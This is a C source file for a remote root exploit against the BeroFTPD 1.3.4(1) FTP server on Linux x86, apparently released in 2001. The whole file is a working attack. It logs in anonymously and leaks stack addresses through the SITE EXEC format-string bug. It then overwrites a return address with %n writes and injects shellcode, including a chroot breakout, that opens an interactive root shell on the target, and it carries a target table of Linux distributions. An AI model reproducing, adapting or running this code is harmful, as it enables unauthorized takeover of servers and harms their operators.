/*  
 *  BeroFTPD 1.3.4(1) Linux x86 remote root exploit 
 *  by qitest1 - 5/05/2001
 *
 *  BeroFTPD is an ftpd derived from wuftpd sources. This code
 *  exploits the format bug of the site exec cmd, well known to be
 *  present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1) 
 *  is the current version at the moment.    
 *  
 *  JUST SAMPLE CODE. For different platforms you have to try with
 *  different offsets for different retaddrs. You see.. =)   
 *
 *  Greets: Nail, Norby, Berserker.
 *  69 rulez.. ;P
 */

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

struct targ
{
  int def;
  char *descr;
  unsigned long int enbuf;
  int dawlen;
};

struct targ target[] = {
  {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
  {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12},
  {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6},
  {69, NULL, 0, 0}
};

  /* 15 byte x86/linux PIC read() shellcode by lorian / teso
   */
unsigned char shellcode_read[] = "\x33\xdb"     /* xorl %ebx, %ebx      */
  "\xf7\xe3"                    /* mull %ebx            */
  "\xb0\x03"                    /* movb $3, %al         */
  "\x8b\xcc"                    /* movl %esp, %ecx      */
  "\x68\xb2\x00\xcd\x80"        /* push 0x80CDxxB2      */
  "\xff\xff\xe4";               /* jmp  %esp            */

unsigned char shellcode[] =     /* Lam3rZ code */
  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
  "\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b"
  "\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66"
  "\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
  "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89"
  "\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0"
  "\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
  "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
  "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08"
  "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0"
  "\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8"
  "\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31";

char fmtstr[1024];
int sock;
int sel;
int offset;
unsigned long int retloc;
unsigned long int bufaddr;
unsigned long int tmpaddr;

void fmtstr_build (unsigned long int bufaddr, unsigned long int retloc);
void xpad_cat (unsigned char *fabuf, unsigned long int addr);
void retloc_find (void);
void shellami (int sock);
void login (void);
void usage (char *progname);
int conn2host (char *host, int port);

main (int argc, char *argv[])
{
  char rbuf[1024];
  char *host = NULL;
  int cnt;

  printf ("\n  BeroFTPD 1.3.4(1) exploit by qitest1\n\n");
  if (argc == 1)
    usage (argv[0]);
  while ((cnt = getopt (argc, argv, "h:t:o:")) != EOF)
    {
      switch (cnt)
        {
        case 'h':
          host = strdup (optarg);
          break;
        case 't':
          sel = atoi (optarg);
          break;
        case 'o':
          offset = atoi (optarg);
          break;
        default:
          usage (argv[0]);
          break;
        }
    }

  if (host == NULL)
    usage (argv[0]);

  printf ("+Host: %s\n  as: %s\n", host, target[sel].descr);

  printf ("+Connecting to %s...\n", host);
  sock = conn2host (host, 21);
  printf ("  connected\n");

  printf ("+Receiving banner...\n");
  recv (sock, rbuf, 1024, 0);
  printf ("%s", rbuf);
  memset (rbuf, 0, 1024);
  printf ("  received\n");

  printf ("+Logging in...\n");
  login ();
  printf ("  logged in\n");

  printf ("+Searching retloc...\n");
  retloc_find ();
  printf ("  found: %p\n", retloc);

  printf ("+Searching bufaddr...\n");
  bufaddr = tmpaddr + target[sel].enbuf;
  printf ("  found: %p + offset = ", bufaddr);
  bufaddr += offset;
  printf ("%p\n", bufaddr);

  printf ("+Preparing shellcode...\n");
  shellcode_read[strlen (shellcode_read)] =
    (unsigned char) strlen (shellcode);
  printf ("  shellcode ready\n");

  printf ("+Building fmtstr...\n");
  fmtstr_build (bufaddr, retloc);
  printf ("  fmtstr builded\n");

  printf ("+Sending fmtstr...\n");
  send (sock, fmtstr, strlen (fmtstr), 0);
  printf ("  fmtstr sent\n");
  recv (sock, rbuf, 1024, 0);
  sleep (1);
  send (sock, shellcode, strlen (shellcode), 0);
  sleep (2);
  printf ("+Entering love mode...\n");  /* Nail teachs.. ;-) */
  shellami (sock);

}

void
fmtstr_build (unsigned long int bufaddr, unsigned long int retloc)
{
  int i;
  int eat = 136;
  int wlen = 428;
  int tow;
  int freespz;
  char f[1024];
  unsigned long int soul69 = 0x69696969;        /* That's amore.. =) */
  unsigned char retaddr[4];

  for (i = 0; i < 4; ++i)
    retaddr[i] = (bufaddr >> (i << 3)) & 0xff;

  wlen -= target[sel].dawlen;
  f[0] = 0;
  for (i = 0; i < eat; i++)
    strcat (f, "%.f");

  strcat (fmtstr, "SITE EXEC ");
  strcat (fmtstr, "  ");
  xpad_cat (fmtstr, retloc);
  xpad_cat (fmtstr, soul69);
  xpad_cat (fmtstr, retloc + 1);
  xpad_cat (fmtstr, soul69);
  xpad_cat (fmtstr, retloc + 2);
  xpad_cat (fmtstr, soul69);
  xpad_cat (fmtstr, retloc + 3);
  strcat (fmtstr, f);
  strcat (fmtstr, "%x");

  /* Code by teso
   */
  tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10)
    tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10)
    tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10)
    tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10)
    tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;
  /* End here
   */

  freespz = 510 - strlen (fmtstr) - strlen (shellcode_read) - 1;
  for (i = 0; i < freespz; i++)
    strcat (fmtstr, "\x90");
  strcat (fmtstr, shellcode_read);

  strcat (fmtstr, "\n");

}

  /* Code by teso
   */
void
xpad_cat (unsigned char *fabuf, unsigned long int addr)
{
  int i;
  unsigned char c;

  for (i = 0; i <= 3; ++i)
    {
      switch (i)
        {
        case (0):
          c = (unsigned char) ((addr & 0x000000ff));
          break;
        case (1):
          c = (unsigned char) ((addr & 0x0000ff00) >> 8);
          break;
        case (2):
          c = (unsigned char) ((addr & 0x00ff0000) >> 16);
          break;
        case (3):
          c = (unsigned char) ((addr & 0xff000000) >> 24);
          break;
        }
      if (c == 0xff)
        sprintf (fabuf + strlen (fabuf), "%c", c);

      sprintf (fabuf + strlen (fabuf), "%c", c);
    }

  return;
}

  /* End here
   */

void
retloc_find (void)
{
  int i;
  char rbuf[1024];
  char sbuf[1024];
  char *ptr;

  strcpy (sbuf, "SITE EXEC ");
  for (i = 0; i < 6; i++)
    strcat (sbuf, "%p ");
  strcat (sbuf, "\n");
  send (sock, sbuf, strlen (sbuf), 0);

  recv (sock, rbuf, 1024, 0);
  ptr = rbuf;
  for (i = 0; i < 5; i++)
    {
      while (*ptr != ' ')
        ptr++;
      ptr++;
    }
  ptr[strlen (ptr) - 2] = '\x00';
  ptr[strlen (ptr) - 1] = '\x00';
  sscanf (ptr, "%p", &retloc);
  sscanf (ptr, "%p", &tmpaddr);
  retloc -= 0x40;

}

void
shellami (int sock)
{
  int n;
  char recvbuf[1024];
  char *cmd = "id; uname -a\n";
  fd_set rset;

  send (sock, cmd, strlen (cmd), 0);

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (sock, &rset);
      FD_SET (STDIN_FILENO, &rset);
      select (sock + 1, &rset, NULL, NULL, NULL);
      if (FD_ISSET (sock, &rset))
        {
          n = read (sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf ("Connection closed by foreign host.\n");
              exit (0);
            }
          recvbuf[n] = 0;
          printf ("%s", recvbuf);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          n = read (STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write (sock, recvbuf, n);
            }
        }
    }
  return;
}

int
conn2host (char *host, int port)
{
  int sockfd;
  struct hostent *he;
  struct sockaddr_in their_addr;

  if ((he = gethostbyname (host)) == NULL)
    {
      herror ("gethostbyname");
      exit (1);
    }
  if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket");
      exit (1);
    }

  their_addr.sin_family = AF_INET;
  their_addr.sin_port = htons (port);
  their_addr.sin_addr = *((struct in_addr *) he->h_addr);
  bzero (&(their_addr.sin_zero), 8);

  if (connect
      (sockfd, (struct sockaddr *) &their_addr,
       sizeof (struct sockaddr)) == -1)
    {
      perror ("connect");
      exit (1);
    }

  return (sockfd);

}

void
login (void)
{
  char *user = "USER anonymous\n";
  char *pass = "PASS guest@\n";
  char rbuf[1024];

  send (sock, user, strlen (user), 0);
  recv (sock, rbuf, 1024, 0);
  memset (rbuf, 0, 1024);
  send (sock, pass, strlen (pass), 0);
  while (strstr (rbuf, "login ok") == NULL)
    {
      memset (rbuf, 0, 1024);
      recv (sock, rbuf, 1024, 0);
    }

}

void
usage (char *progname)
{
  int i = 0;

  printf ("Usage: %s [options]\n", progname);
  printf ("Options:\n"
          "  -h hostname\n"
          "  -t target\n" "  -o offset\n" "Available targets:\n");
  while (target[i].def != 69)
    {
      printf ("  %d) %s\n", target[i].def, target[i].descr);
      i++;
    }

  exit (1);

}
